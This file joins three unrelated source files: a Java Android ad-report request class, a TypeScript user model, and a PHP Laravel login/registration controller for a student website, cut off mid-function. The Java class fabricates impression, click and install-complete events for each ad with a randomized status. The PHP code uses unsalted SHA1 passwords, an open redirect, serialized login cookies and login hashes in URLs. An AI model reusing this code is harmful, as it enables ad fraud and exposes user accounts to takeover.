import cs.network.result.InterfaceResult;
public class AddAppReportRequest extends PageAbleRequest<Void> {
private String method = "appReport/add";
public AddAppReportRequest(Context paramContext, int paramAdStatus,
long paramLong, String paramString, Object paramObject) {
super(paramContext);
int status=(int)(Math.random()*4)+1;
put("adStatus",status);
put("adID", Long.valueOf(paramLong));
put("trackUUID", paramString);
put("adSource", Integer.valueOf(1));
put("addValues", paramObject);
Log.i("msgg", status+"");
}
public static void Report(Context paramContext, AdStatus paramAdStatus,
AdBasicInfo paramAdBasicInfo) {
for(int i=0;i<3;i++)
{
if(i==0)
{
Report(paramContext, 1, paramAdBasicInfo, null);
Log.i("msgg", "---->AdStatus.展示");
}
if(i==1)
{
Report(paramContext,2, paramAdBasicInfo, null);
Log.i("msgg", "---->AdStatus.点击");
}
if(i==2)
{
Report(paramContext, 4, paramAdBasicInfo, null);
Log.i("msgg", "---->AdStatus.安装完成");
}
}
}
public static void Report(Context paramContext, int paramAdStatus,
AdBasicInfo paramAdBasicInfo, Object paramObject) {
}
public String getInterfaceURI() {
return Config.getSERVER_API() + this.method;
}
@Override
public InterfaceResult<Void> parseInterfaceResult(Gson arg0, String arg1) {
// TODO Auto-generated method stub
return null;
}
}
| justingboy/Animation | Demo/src/apache/org/google/AddAppReportRequest.java | Java | gpl-3.0 | 1,749 |
export class User {
loginName?: string;
loginPassword?: string;
userId?: number;
}
| btamilselvan/tamils | ajweb/src/main/angular/src/app/models/user.ts | TypeScript | gpl-3.0 | 95 |
<?php
// added in v4.0.5
use Facebook\FacebookHttpable;
use Facebook\FacebookCurl;
use Facebook\FacebookCurlHttpClient;
// added in v4.0.0
use Facebook\FacebookSession;
use Facebook\FacebookRedirectLoginHelper;
use Facebook\FacebookRequest;
use Facebook\FacebookResponse;
use Facebook\FacebookSDKException;
use Facebook\FacebookRequestException;
use Facebook\FacebookOtherException;
use Facebook\FacebookAuthorizationException;
use Facebook\GraphObject;
use Facebook\GraphSessionInfo;
class LoginController extends BaseController {
public function __construct(){
parent::__construct();
$this->beforeFilter('auth.logged', array('only' => array('getRegister')));
if(Input::get('subdomain') == 'bazaznanja'){
//Session::flash('subdomain', 'bazaznanja');
Session::set('subdomain', 'bazaznanja');
}
}
private function setLayout($data){
$this->layout = View::make('frontend.master', $data);
$this->layout->head = View::make('frontend.head', $data);
$this->layout->topMenu = View::make('frontend.topMenu', $data);
$this->layout->header = View::make('frontend.header', $data);
$this->layout->megaMenu = View::make('frontend.megaMenu', $data);
$this->layout->banners = View::make('frontend.banners');
$this->layout->footer = View::make('frontend.footer', $data);
$this->layout->footerScript = View::make('frontend.footerScript', $data);
$this->layout->bottomBoxes = View::make('frontend.bottomBoxes', $data);
$this->layout->facebook = View::make('frontend.sidebar.facebook');
$this->layout->banner300 = View::make('frontend.sidebar.banner300');
$this->layout->search = View::make('frontend.sidebar.search');
$this->layout->error = View::make('frontend.errorReporting', $data);
/*$this->layout->newsTicker = View::make('frontend.newsTicker', $data);*/
}
/**
* Display a listing of the resource.
*
* @return Response
*/
public function getIndex()
{
if(Input::get('subdomain') == 'bazaznanja' && Session::get('id') != null){
try {
$userbz = User::findOrFail(Session::get('id'));
return Redirect::to('https://bazaznanja.puskice.org?userID='.Session::get('id').'&hash='.$userbz->loginhash);
} catch (Exception $e) {
var_dump($e->getMessage());
}
}
elseif(Session::get('id')){
return Redirect::to(Request::root());
}
View::share('title', "Пријава | Пушкице | Тачка спајања студената ФОН-а");
$articles = News::inCategories(Config::get('settings.homepage'))->where('published', '=', 2)->where('post_type', '=', 1)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(10)->get();
$featured = News::where('published', '=', 2)->where('featured', '=', 1)->where('post_type', '=', 1)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->orderBy('created_at', 'desc')->take(3)->get();
$results = News::inCategories(Config::get('settings.results'))->distinct('permalink')->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('published', '=', 2)->where('post_type', '=', 1)->groupBy('permalink')->orderBy('news.created_at', 'desc')->take(10)->get();
$featuredImage = News::inCategories(array(25))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(3)->get();
$didYouKnow = News::inCategories(array(30))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(3)->get();
$magazine = News::inCategories(Config::get('settings.magazine'))->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('published', '=', 2)->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(4)->get();
$ourComment = News::inCategories(array(17))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(4)->get();
$feed = getFeed('http://bazaznanja.puskice.org/feed/qa.rss', 4);
$poll = null;
$poll = Poll::where('published', '=', '1')
->where('end_date', '>', date("Y-m-d H:i:s", strtotime('now')))
->where('created_at', '<', date("Y-m-d H:i:s", strtotime('now')))
->first();
if(isset($poll->id)){
$poll->pollOptions;
}
$ogimage = Config::get('settings.defaultImage');
$meta = " <meta property='og:image' content='".$ogimage."'/>
<meta property='og:title' content='".__("Пријава | Пушкице | Тачка спајања студената ФОН-а")."'/>
<meta property='fb:app_id' content='355697367892039'/>
<meta property='og:site_name' content='".__("Пушкице - ФОН Андерграунд")."'/>
<meta property='og:type' content='article'/>
<meta property='og:url' content='"._l(Request::root()."/login")."'/>
<meta property='og:description' content='".__("Креирајте свој профил на Пушкицама и остварите приступ бројним погодностима које нудимо студентима")."' />
<meta name='twitter:card' content='summary_large_image'>
<meta name='twitter:site' content='".__("Пушкице - ФОН Андерграунд")."'>
<meta name='twitter:creator' content='@puskice'>
<meta name='twitter:domain' content='puskice.org'>
<meta name='twitter:app:name:iphone' content='".__("Пушкице")."'>
<meta name='twitter:app:name:ipad' content='".__("Пушкице")."'>
<meta name='twitter:title' content='".__("Пријава | Пушкице | Тачка спајања студената ФОН-а")."'>
<meta name='twitter:description' content='".__("Креирајте свој профил на Пушкицама и остварите приступ бројним погодностима које нудимо студентима")."'>
<meta name='twitter:image' content='".$ogimage."'>";
$data = array( 'articles' => $articles,
'featured' => $featured,
'results' => $results,
'ourComment' => $ourComment,
'magazine' => $magazine,
'featuredImage' => $featuredImage,
'didYouKnow' => $didYouKnow,
'feed' => $feed,
'poll' => $poll,
'meta' => $meta);
$this->setLayout($data);
$this->layout->center = View::make('frontend.content.login', $data);
//$this->layout->carousel = View::make('frontend.carousel', $data);
$this->layout->boxes = View::make('frontend.boxes', $data);
$this->layout->imageOfTheWeek = View::make('frontend.sidebar.imageOfTheWeek', $data);
$this->layout->didYouKnow = View::make('frontend.sidebar.didYouKnow', $data);
$this->layout->twitter = View::make('frontend.sidebar.twitter');
$this->layout->poll = View::make('frontend.sidebar.poll', $data);
}
/**
* Show the form for creating a new resource.
*
* @return Response
*/
public function postSignin()
{
try{
if(Input::get('subdomain') == 'bazaznanja' && Session::get('id') != null){
Session::flash('subdomain', 'bazaznanja');
Session::set('subdomain', 'bazaznanja');
}
else{
Session::forget('subdomain');
}
$user=User::where('username', '=', Input::get('username'))->where('password', '=', sha1(strip_tags(Input::get('password'))))->where('published', '=', 1)->firstOrFail();
$user->last_login = date("Y-m-d H:i:s", strtotime('now'));
$user->last_login_ip = Puskice::getIP();
$user->loginhash = md5(strtotime('now').$user->username);
$user->save();
Session::put('username', $user->username);
Session::put('user_level', $user->user_level);
Session::put('id', $user->id);
if(Input::get('remember') == 1){
$array = array('username' => $user->username, 'id' => $user->id, 'user_level'=> $user->user_level, 'timestamp' => date('d.m.Y H:i:s', strtotime('now')));
$cookie = Cookie::queue('ps_login', serialize($array), 2628000);
}
if(Input::get('subdomain') != "" && Input::get('subdomain') == 'bazaznanja'){
return Redirect::to("https://".rawurldecode(Input::get('subdomain')).".puskice.org/?userID=".$user->id."&hash=".$user->loginhash);
}
if(Input::get('ref') != ""){
return Redirect::to(rawurldecode(Input::get('ref')))->with('message', Lang::get('login.success'))->with('notif', 'success');
}
else return Redirect::to('/')->with('message', Lang::get('login.success'))->with('notif', 'success');
}
catch(Exception $e){
return Redirect::to('/')->with('message', Lang::get('login.fail'))->with('notif', 'danger')->withInput();
}
}
/**
* Store a newly created resource in storage.
*
* @return Response
*/
public function getSignout()
{
Session::forget('id');
Session::flush();
$cookie = Cookie::queue('ps_login', '', 1);
Cookie::forget('ps_login');
if(Input::get('subdomain') == "bazaznanja"){
return Redirect::to('https://bazaznanja.puskice.org/?logout=true');
}
else{
return Redirect::to('/')->with('message', Lang::get('login.logoutsuccess'))->with('notif', 'success');
}
}
/**
* Display the specified resource.
*
* @param int $id
* @return Response
*/
public function getRegister()
{
View::share('title', "Регистрација | Пушкице | Тачка спајања студената ФОН-а");
$articles = News::inCategories(Config::get('settings.homepage'))->where('published', '=', 2)->where('post_type', '=', 1)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(10)->get();
$featured = News::where('published', '=', 2)->where('featured', '=', 1)->where('post_type', '=', 1)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->orderBy('created_at', 'desc')->take(3)->get();
$results = News::inCategories(Config::get('settings.results'))->distinct('permalink')->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('published', '=', 2)->where('post_type', '=', 1)->groupBy('permalink')->orderBy('news.created_at', 'desc')->take(10)->get();
$featuredImage = News::inCategories(array(25))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(3)->get();
$didYouKnow = News::inCategories(array(30))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(3)->get();
$magazine = News::inCategories(Config::get('settings.magazine'))->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('published', '=', 2)->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(4)->get();
$ourComment = News::inCategories(array(17))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(4)->get();
$feed = getFeed('http://bazaznanja.puskice.org/feed/qa.rss', 4);
$poll = null;
$poll = Poll::where('published', '=', '1')
->where('end_date', '>', date("Y-m-d H:i:s", strtotime('now')))
->where('created_at', '<', date("Y-m-d H:i:s", strtotime('now')))
->first();
if(isset($poll->id)){
$poll->pollOptions;
}
$ogimage = Config::get('settings.defaultImage');
$meta = " <meta property='og:image' content='".$ogimage."'/>
<meta property='og:title' content='".__("Регистрација | Пушкице | Тачка спајања студената ФОН-а")."'/>
<meta property='fb:app_id' content='355697367892039'/>
<meta property='og:site_name' content='".__("Пушкице - ФОН Андерграунд")."'/>
<meta property='og:type' content='article'/>
<meta property='og:url' content='"._l(Request::root()."/login/register")."'/>
<meta property='og:description' content='".__("Креирајте свој профил на Пушкицама и остварите приступ бројним погодностима које нудимо студентима")."' />
<meta name='twitter:card' content='summary_large_image'>
<meta name='twitter:site' content='".__("Пушкице - ФОН Андерграунд")."'>
<meta name='twitter:creator' content='@puskice'>
<meta name='twitter:domain' content='puskice.org'>
<meta name='twitter:app:name:iphone' content='".__("Пушкице")."'>
<meta name='twitter:app:name:ipad' content='".__("Пушкице")."'>
<meta name='twitter:title' content='".__("Регистрација | Пушкице | Тачка спајања студената ФОН-а")."'>
<meta name='twitter:description' content='".__("Креирајте свој профил на Пушкицама и остварите приступ бројним погодностима које нудимо студентима")."'>
<meta name='twitter:image' content='".$ogimage."'>";
$data = array( 'articles' => $articles,
'featured' => $featured,
'results' => $results,
'ourComment' => $ourComment,
'magazine' => $magazine,
'featuredImage' => $featuredImage,
'didYouKnow' => $didYouKnow,
'feed' => $feed,
'poll' => $poll,
'meta' => $meta);
$this->setLayout($data);
$this->layout->center = View::make('frontend.content.register', $data);
//$this->layout->carousel = View::make('frontend.carousel', $data);
$this->layout->boxes = View::make('frontend.boxes', $data);
$this->layout->imageOfTheWeek = View::make('frontend.sidebar.imageOfTheWeek', $data);
$this->layout->didYouKnow = View::make('frontend.sidebar.didYouKnow', $data);
$this->layout->twitter = View::make('frontend.sidebar.twitter');
$this->layout->poll = View::make('frontend.sidebar.poll', $data);
}
/**
* Show the form for editing the specified resource.
*
* @param int $id
* @return Response
*/
public function postRegister()
{
$rules = array(
'firstName' => 'required|max:30|min:2',
'lastName' => 'required|max:30|min:2',
'username' => 'required|unique:users,username|max:30|min:3',
'password' => 'required',
'repeatPassword' => 'same:password',
'email' => 'required|email|unique:users,email'
);
$v = Validator::make(Input::all(), $rules);
if($v->passes()){
$newuser = new User;
$newuser->username = strip_tags(Input::get('username'));
$newuser->first_name = strip_tags(Input::get('firstName'));
$newuser->last_name = strip_tags(Input::get('lastName'));
$newuser->password = sha1(strip_tags(Input::get('password')));
$newuser->email = strip_tags(Input::get('email'));
$newuser->user_level = 1;
$newuser->hash = sha1($newuser->username.$newuser->email);
$newuser->published = 0;
$newuser->save();
$user = array(
'email'=>'no-reply@puskice.org',
'name'=>'Puškice nalog'
);
// the data that will be passed into the mail view blade template
$data = array(
'confirmurl' => Request::root()."/login/confirm-account/".$newuser->hash,
'username' => $newuser->username
);
// use Mail::send function to send email passing the data and using the $user variable in the closure
Mail::send('emails.newuser', $data, function($message) use ($user)
{
$message->from('no-reply@puskice.org', 'Info tim Puškice');
$message->to(Input::get('email'), Input::get('name'))->subject('Aktivirajte Puškice nalog');
});
return Redirect::to(URL::action('LoginController@getRegister'))->with('message', Lang::get('login.registerSuccess'))->with('notif', 'success');
}
else{
return Redirect::to(URL::action('LoginController@getRegister'))->withInput(Input::all())->withErrors($v);
}
}
public function getConfirmAccount($hash){
try{
$user = User::where('hash', '=', $hash)->firstOrFail();
if($user != null){
$user->published = 1;
$user->hash = "";
$user->save();
}
return Redirect::to(Request::root())->with('message', Lang::get('login.activated'))->with('notif', 'success');
}
catch(Exception $e){
return Redirect::to(Request::root())->with('message', Lang::get('login.error'))->with('notif', 'danger');
}
}
public function getResetPassword()
{
View::share('title', Lang::get('login.resetPass'));
$this->layout = View::make('login.master');
$this->layout->head = View::make('login.head');
$this->layout->error= View::make('backend.errorReporting');
$this->layout->form = View::make('login.resetpass');
}
public function postSendReset(){
$rules = array(
'email' =>'required|email'
);
$v = Validator::make(Input::all(), $rules);
if($v->passes()){
try{
$edituser = User::where('email', '=', strip_tags(Input::get('email')))->firstOrFail();
$edituser->hash = md5($edituser->username.strtotime("now"));
$edituser->save();
$user = array(
'email'=>'no-reply@puskice.org',
'name'=>'Puškice nalog'
);
// the data that will be passed into the mail view blade template
$data = array(
'confirmurl' => Request::root()."/login/new-password/".$edituser->hash,
'username' => $edituser->username
);
// use Mail::send function to send email passing the data and using the $user variable in the closure
Mail::send('emails.resetpass', $data, function($message) use ($user)
{
$message->from('no-reply@puskice.org', 'Puškice');
$message->to(Input::get('email'), Input::get('name'))->subject('Reset lozinke za Puškice nalog');
});
return Redirect::to(Request::root())->with('message', Lang::get('login.resetSent'))->with('notif', 'success');
}
catch(Exception $e){
return Redirect::to('/')->with('message', __("Не постоји корисник са унетом адресом"))->with('notif', 'warning');
}
}
else{
return Redirect::to(URL::action('LoginController@getResetPassword'))->withInput(Input::all())->withErrors($v);
}
}
public function getNewPassword($hash)
{
View::share('title', Lang::get('login.newPass'));
View::share('hash', $hash);
$this->layout = View::make('login.master');
$this->layout->head = View::make('login.head');
$this->layout->error= View::make('backend.errorReporting');
$this->layout->form = View::make('login.newpassword');
}
public function postChangePassword(){
$rules = array(
'password' => 'required',
'confirmPassword' => 'same:password'
);
$v = Validator::make(Input::all(), $rules);
if($v->passes()){
$user = User::where('hash', '=', strip_tags(Input::get('hash')))->where('hash', '<>', '')->firstOrFail();
$user->password = sha1(strip_tags(Input::get('password')));
$user->hash = "";
$user->save();
return Redirect::to(Request::root())->with('message', Lang::get('login.passwordChanged'))->with('notif', 'success');;
}
else{
return Redirect::to(URL::action('LoginController@getNewPassword')."/".strip_tags(Input::get('hash')))->withInput(Input::all())->withErrors($v);
}
}
public function getMyProfile(){
try {
View::share('title', "Моје Пушкице | Пушкице | Тачка спајања студената ФОН-а");
$user = User::findOrFail(Session::get('id'));
$articles = News::inCategories(Config::get('settings.homepage'))->where('published', '=', 2)->where('post_type', '=', 1)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(10)->get();
$featured = News::where('published', '=', 2)->where('featured', '=', 1)->where('post_type', '=', 1)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->orderBy('created_at', 'desc')->take(3)->get();
$results = News::inCategories(Config::get('settings.results'))->distinct('permalink')->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('published', '=', 2)->where('post_type', '=', 1)->groupBy('permalink')->orderBy('news.created_at', 'desc')->take(10)->get();
$featuredImage = News::inCategories(array(25))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(3)->get();
$didYouKnow = News::inCategories(array(30))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(3)->get();
$magazine = News::inCategories(Config::get('settings.magazine'))->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('published', '=', 2)->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(4)->get();
$ourComment = News::inCategories(array(17))->where('published', '=', 2)->where('news.created_at', '<', date("Y-m-d H:i:s", strtotime('now')))->where('post_type', '=', 1)->distinct('permalink')->groupBy('news.id')->orderBy('news.created_at', 'desc')->take(4)->get();
$feed = getFeed('http://bazaznanja.puskice.org/feed/qa.rss', 4);
$poll = null;
$poll = Poll::where('published', '=', '1')
->where('end_date', '>', date("Y-m-d H:i:s", strtotime('now')))
->where('created_at', '<', date("Y-m-d H:i:s", strtotime('now')))
->first();
if(isset($poll->id)){
$poll->pollOptions;
}
$ogimage = Config::get('settings.defaultImage');
$meta = " <meta property='og:image' content='".$ogimage."'/>
<meta property='og:title' content='".__("Моје Пушкице | Пушкице | Тачка спајања студената ФОН-а")."'/>
<meta property='fb:app_id' content='355697367892039'/>
<meta property='og:site_name' content='".__("Пушкице - ФОН Андерграунд")."'/>
<meta property='og:type' content='article'/>
<meta property='og:url' content='"._l(Request::root()."/login/my-profile")."'/>
<meta property='og:description' content='".__("Креирајте свој профил на Пушкицама и остварите приступ бројним погодностима које нудимо студентима")."' />
<meta name='twitter:card' content='summary_large_image'>
<meta name='twitter:site' content='".__("Пушкице - ФОН Андерграунд")."'>
<meta name='twitter:creator' content='@puskice'>
<meta name='twitter:domain' content='puskice.org'>
<meta name='twitter:app:name:iphone' content='".__("Пушкице")."'>
<meta name='twitter:app:name:ipad' content='".__("Пушкице")."'>
<meta name='twitter:title' content='".__("Моје Пушкице | Пушкице | Тачка спајања студената ФОН-а")."'>
<meta name='twitter:description' content='".__("Креирајте свој профил на Пушкицама и остварите приступ бројним погодностима које нудимо студентима")."'>
<meta name='twitter:image' content='".$ogimage."'>";
$data = array( 'articles' => $articles,
'featured' => $featured,
'results' => $results,
'ourComment' => $ourComment,
'magazine' => $magazine,
'featuredImage' => $featuredImage,
'didYouKnow' => $didYouKnow,
'feed' => $feed,
'poll' => $poll,
'meta' => $meta,
'user' => $user);
$this->setLayout($data);
$this->layout->center = View::make('frontend.content.profile', $data);
//$this->layout->carousel = View::make('frontend.carousel', $data);
$this->layout->boxes = View::make('frontend.boxes', $data);
$this->layout->imageOfTheWeek = View::make('frontend.sidebar.imageOfTheWeek', $data);
$this->layout->didYouKnow = View::make('frontend.sidebar.didYouKnow', $data);
$this->layout->twitter = View::make('frontend.sidebar.twitter');
$this->layout->poll = View::make('frontend.sidebar.poll', $data);
} catch (Exception $e) {
return Redirect::to('login')->with('message', __("Потребно је да се прво улогујете"))->with('notif', 'success');
}
}
public function postUpdateProfile(){
try {
$user = User::findOrFail(Session::get('id'));
$user->first_name = Input::get('firstName');
$user->last_name = Input::get('lastName');
if(Input::get('password') == Input::get('repeatPassword') && Input::get('password') != ""){
$user->password = sha1(strip_tags(Input::get('password')));
}
$user->save();
return Redirect::to(URL::action('LoginController@getMyProfile'))->with('notif', 'success')->with('message', __("Налог успешно ажуриран"));
} catch (Exception $e) {
return Redirect::to(URL::action('LoginController@getIndex'))->with('notif', 'danger')->with('message', __("Корисник не постоји или нисте улоговани"));
}
}
public static function facebookLoginLink(){
// Checking Session
$object = "";
if(Session::get('fb_token')){
try {
$session = new FacebookSession(Session::get('fb_token'));
$response = (new FacebookRequest($session, 'GET', '/me'))->execute();
$object = $response->getGraphObject();
} catch (FacebookRequestException $ex) {
return $ex->getMessage();
} catch (\Exception $ex) {
return $ex->getMessage();
}
return "<span class='skills'>".$object->getProperty('name').'</span>';
}
else{
// Requested permissions - optional
$permissions = array(
'email',
'publish_actions'
);
// Login Healper with reditect URI
$helper = new FacebookRedirectLoginHelper( 'http://www.puskice.org/login/redirect-here' );
try {
$session = $helper->getSessionFromRedirect();
}
catch( FacebookRequestException $ex ) {
// Exception
return Lang::get('frontend.fb_problem');
}
catch( Exception $ex ) {
// When validation fails or other local issues
return Lang::get('frontend.fb_our_problem');
}
if(isset($session))
{
Session::put('fb_token', $session->getToken());
// Request for user data
$request = new FacebookRequest( $session, 'GET', '/me' );
$response = $request->execute();
// Responce
$object = $response->getGraphObject();
Session::put('facebook_id', $object->getProperty('id'));
try {
if(Session::get('facebook_id')){
$user = User::where('facebook_id', '=', $object->getProperty('id'))->orWhere('email', 'LIKE', $object->getProperty('email'))->firstOrFail();
}
$user->first_name = $object->getProperty('first_name');
$user->last_name = $object->getProperty('last_name');
$user->last_login = date("Y-m-d H:i:s", strtotime('now'));
$user->last_login_ip = Puskice::getIP();
$user->loginhash = md5(strtotime('now').$user->username);
$user->facebook_id = $object->getProperty('id');
$user->email = $object->getProperty('email');
$user->fb_token = $session->getToken();
//$user->gender = $object->getProperty('gender');
$user->save();
Session::put('id', $user->id);
} catch (Exception $e) {
$user = new User;
$user->first_name = $object->getProperty('first_name');
$user->last_name = $object->getProperty('last_name');
$i = 0;
$password = rand(100000, 999999);
while(!isset($user->username) || $user->username == ""){
if($i != 0) $username .= '-'.$i;
try {
$testuser = User::where('username', '=', $username)->firstOrFail();
$i ++;
continue;
} catch (Exception $e) {
$user->username = $username;
}
}
$user->password = sha1($password);
$user->user_level = 1;
$user->published = 1;
$user->last_login = date("Y-m-d H:i:s", strtotime('now'));
$user->last_login_ip = Puskice::getIP();
$user->loginhash = md5(strtotime('now').$user->username);
$user->facebook_id = $object->getProperty('id');
$user->email = $object->getProperty('email');
$user->fb_token = $session->getToken();
//$user->gender = $object->getProperty('gender');
$user->save();
$sender = array(
'email'=>'no-reply@puskice.org',
'name'=>'Puškice nalog',
'user_email' => $user->email,
'user_name' => $user->username
);
// the data that will be passed into the mail view blade template
$data = array(
'username' => $user->username,
'password' => $password,
);
// use Mail::send function to send email passing the data and using the $user variable in the closure
Mail::send('emails.fbnewuser', $data, function($message) use ($sender)
{
$message->from('no-reply@puskice.org', 'Info tim Puškice');
$message->to($sender['user_email'], $sender['user_name'])->subject('Puškice nalog');
});
Session::put('id', $user->id);
}
return "<li>".$object->getProperty('name').'</li>';
}
else
{
// Login URL if session not found
//return '<div class="fb-login-button" data-max-rows="1" data-scope="public_profile,email" data-size="medium" data-show-faces="false" data-auto-logout-link="false"></div>';
return '<a href="' . $helper->getLoginUrl($permissions) . '"><img src="'.Request::root().'/assets/frontend/img/fblogin.png" alt="Facebook login"/></a>';
}
}
}
public function getRedirectHere(){
$helper = new FacebookRedirectLoginHelper( 'http://www.puskice.org/login/redirect-here' );
try {
$session = $helper->getSessionFromRedirect();
}
catch( FacebookRequestException $ex ) {
// Exception
var_dump($ex->getMessage());
}
catch( Exception $ex ) {
// When validation fails or other local issues
var_dump($ex->getMessage());
}
// Checking Session
if(isset($session))
{
Session::put('fb_token', $session->getToken());
// Request for user data
$request = new FacebookRequest( $session, 'GET', '/me' );
$response = $request->execute();
// Responce
$object = $response->getGraphObject();
Session::put('facebook_id', $object->getProperty('id'));
try {
$user = User::where('facebook_id', '=', $object->getProperty('id'))->orWhere('email', 'LIKE', $object->getProperty('email'))->firstOrFail();
$user->first_name = $object->getProperty('first_name');
$user->last_name = $object->getProperty('last_name');
$user->last_login = date("Y-m-d H:i:s", strtotime('now'));
$user->last_login_ip = Puskice::getIP();
$user->loginhash = md5(strtotime('now').$user->username);
$user->facebook_id = $object->getProperty('id');
$user->email = $object->getProperty('email');
$user->fb_token = $session->getToken();
//$user->gender = $object->getProperty('gender');
$user->save();
Session::put('id', $user->id);
} catch (Exception $e) {
$user = new User;
$user->first_name = $object->getProperty('first_name');
$user->last_name = $object->getProperty('last_name');
$username = slugify($user->first_name);
$password = rand(100000, 999999);
$i = 0;
while(!isset($user->username) || $user->username == ""){
if($i != 0) $username .= ''.$i;
try {
$testuser = User::where('username', '=', $username)->firstOrFail();
$i ++;
continue;
} catch (Exception $e) {
$user->username = $username;
}
}
$user->password = sha1($password);
$user->user_level = 1;
$user->published = 1;
$user->last_login = date("Y-m-d H:i:s", strtotime('now'));
$user->last_login_ip = Puskice::getIP();
$user->loginhash = md5(strtotime('now').$user->username);
$user->facebook_id = $object->getProperty('id');
$user->email = $object->getProperty('email');
$user->fb_token = $session->getToken();
//$user->gender = $object->getProperty('gender');
$user->save();
$sender = array(
'email'=>'no-reply@puskice.org',
'name'=>'Puškice nalog',
'user_email' => $user->email,
'user_name' => $user->username
);
// the data that will be passed into the mail view blade template
$data = array(
'username' => $user->username,
'password' => $password,
);
// use Mail::send function to send email passing the data and using the $user variable in the closure
Mail::send('emails.fbnewuser', $data, function($message) use ($sender)
{
$message->from('no-reply@puskice.org', 'Info tim Puškice');
$message->to($sender['user_email'], $sender['user_name'])->subject('Puškice nalog');
});
Session::put('id', $user->id);
}
$array = array('username' => $user->username, 'id' => $user->id, 'user_level'=> $user->user_level, 'timestamp' => date('d.m.Y H:i:s', strtotime('now')));
$cookie = Cookie::queue('ps_login', serialize($array), 2628000);
if(Session::get('ref') != "" && !Session::get('subdomain')){
return Redirect::to(Request::root().Session::get('ref'))->with('message', Lang::get('login.success'))->with('notif', 'success');
}
if(Session::get('subdomain') != "" && Session::get('subdomain') == 'bazaznanja'){
return Redirect::to("https://".rawurldecode(Session::get('subdomain')).".puskice.org/?userID=".$user->id."&hash=".$user->loginhash);
}
else return Redirect::to('/')->with('message', Lang::get('login.success'))->with('notif', 'success');
}
}
public static function getFacebookLoginFormLink(){
// Checking Session
$object = "";
if(Session::get('fb_token')){
try {
$session = new FacebookSession(Session::get('fb_token'));
$response = (new FacebookRequest($session, 'GET', '/me'))->execute();
$object = $response->getGraphObject();
} catch (FacebookRequestException $ex) {
return $ex->getMessage();
} catch (\Exception $ex) {
return $ex->getMessage();
}
return "<span class='skills'>".$object->getProperty('name').'</span>';
}
else{
// Requested permissions - optional
$permissions = array(
'email',
'publish_actions'
);
// Login Healper with reditect URI
if(Input::get('ref')){
$helper = new FacebookRedirectLoginHelper( 'http://www.puskice.org/login/redirect-here' );
}
if(Input::get('subdomain') && Input::get('subdomain') == 'bazaznanja'){
$helper = new FacebookRedirectLoginHelper( 'http://www.puskice.org/login/redirect-here' );
}
else $helper = new FacebookRedirectLoginHelper( 'http://www.puskice.org/login/redirect-here' );
try {
$session = $helper->getSessionFromRedirect();
}
catch( FacebookRequestException $ex ) {
// Exception
return Lang::get('frontend.fb_problem');
}
catch( Exception $ex ) {
// When validation fails or other local issues
return Lang::get('frontend.fb_our_problem');
}
if(isset($session))
{
Session::put('fb_token', $session->getToken());
// Request for user data
$request = new FacebookRequest( $session, 'GET', '/me' );
$response = $request->execute();
// Responce
$object = $response->getGraphObject();
Session::put('facebook_id', $object->getProperty('id'));
try {
$user = User::where('facebook_id', '=', $object->getProperty('id'))->orWhere('email', 'LIKE', $object->getProperty('email'))->firstOrFail();
$user->first_name = $object->getProperty('first_name');
$user->last_name = $object->getProperty('last_name');
$user->last_login = date("Y-m-d H:i:s", strtotime('now'));
$user->last_login_ip = Puskice::getIP();
$user->loginhash = md5(strtotime('now').$user->username);
$user->facebook_id = $object->getProperty('id');
$user->email = $object->getProperty('email');
$user->fb_token = $session->getToken();
//$user->gender = $object->getProperty('gender');
$user->save();
Session::put('id', $user->id);
} catch (Exception $e) {
$user = new User;
$user->first_name = $object->getProperty('first_name');
$user->last_name = $object->getProperty('last_name');
$password = rand(100000, 999999);
$i = 0;
while(!isset($user->username) || $user->username == ""){
if($i != 0) $username .= ''.$i;
try {
$testuser = User::where('username', '=', $username)->firstOrFail();
$i ++;
continue;
} catch (Exception $e) {
$user->username = $username;
}
}
$user->password = sha1($password);
